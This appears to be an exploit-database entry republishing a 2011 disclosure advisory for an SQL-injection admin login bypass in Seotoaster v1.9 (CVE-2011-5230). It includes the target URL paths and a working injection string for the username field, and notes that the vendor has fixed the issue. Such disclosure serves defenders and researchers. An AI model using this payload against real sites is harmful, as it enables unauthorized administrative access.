Seotoaster - SQL Injection

Author: Stefan Schurtz
type: webapps
platform: php
port: 
date_added: 2011-12-16 
date_updated: 2017-11-01 
verified: 1 
codes: OSVDB-77736;CVE-2011-5230 
tags: 
aliases:  
screenshot_url:  
application_url: 

#################################################################################
# Advisory:		Seotoaster SQL-Injection Admin Login Bypass
# Author:       		Stefan Schurtz
# Contact:      		sschurtz@t-online.de
# Affected Software:    	Successfully tested on Seotoaster v.1.9
# Vendor URL:       	http://www.seotoaster.com/
# Vendor Status:    	fixed
#################################################################################

==========================
Vulnerability Description
==========================

Seotoaster v.1.9 is prone to an SQL-Injection which bypass the admin login

==================
PoC-Exploit
==================

http://<target>/seotoaster/go
or
http://<target>/go

User: ' or 1=1)#
PW: notimportant

=========
Solution
=========

Upgrade to the latest version

========
Credits
========

Vulnerabilitiy found and advisory written by Stefan Schurtz

===========
References
===========

http://secunia.com/advisories/46881/